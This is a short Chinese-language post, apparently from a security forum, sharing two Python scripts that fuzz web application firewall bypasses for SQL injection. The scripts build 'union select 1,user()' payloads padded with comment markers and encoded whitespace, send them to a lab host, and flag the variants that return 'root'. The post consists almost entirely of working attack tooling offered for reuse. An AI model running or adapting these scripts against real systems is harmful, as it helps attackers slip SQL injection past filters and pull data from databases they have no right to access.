分享两个小脚本，用来WAF Bypass简单FUZZ的
第一个：先生成一个字典，带入搭建的环境进行FUZZ，针对某些软WAF挺好用的，可FUZZ出不少姿势出来，记得先把CC攻击加入白名单才行哦。。。
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import urllib
import urllib2
import requests
values={}
f = open('mutou.txt','r')
for line in f.xreadlines():
line =line.strip()
values['id'] = "1 union/*%s*/select/*%s*/1,user()" %(line,line)
data = urllib.urlencode(values)
url = "http://192.168.125.140/php/config/sql.php"
url = url+'?'+data
try:
response = requests.get(url)
result = response.content
#print result
if result.count('root'):
print line
print url
print "==================================="
else:
pass
#print ".",
except:
print "Error"
第二个：
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import requests fuzz_dic1 = ['*/','/*','*/','/*!','*','=','`','!','@','%','.','-','+','|','%00'] fuzz_dic2 = ['*/','',' ','/*!'] fuzz_dic3 = ['/*!',"%a0","0c","%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"] headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"} url="http://192.168.125.140/php/config/sql.php?id=1" for i in fuzz_dic1: for j in fuzz_dic2: for k in fuzz_dic3: payload="/*!union"+i+j+k+"select*/ 1,user()" geturl=url+payload #print geturl try: response=requests.get(url=geturl,headers=headers) result = response.content #print result if result.count('root'): print geturl else: print ".", except: print "Error"
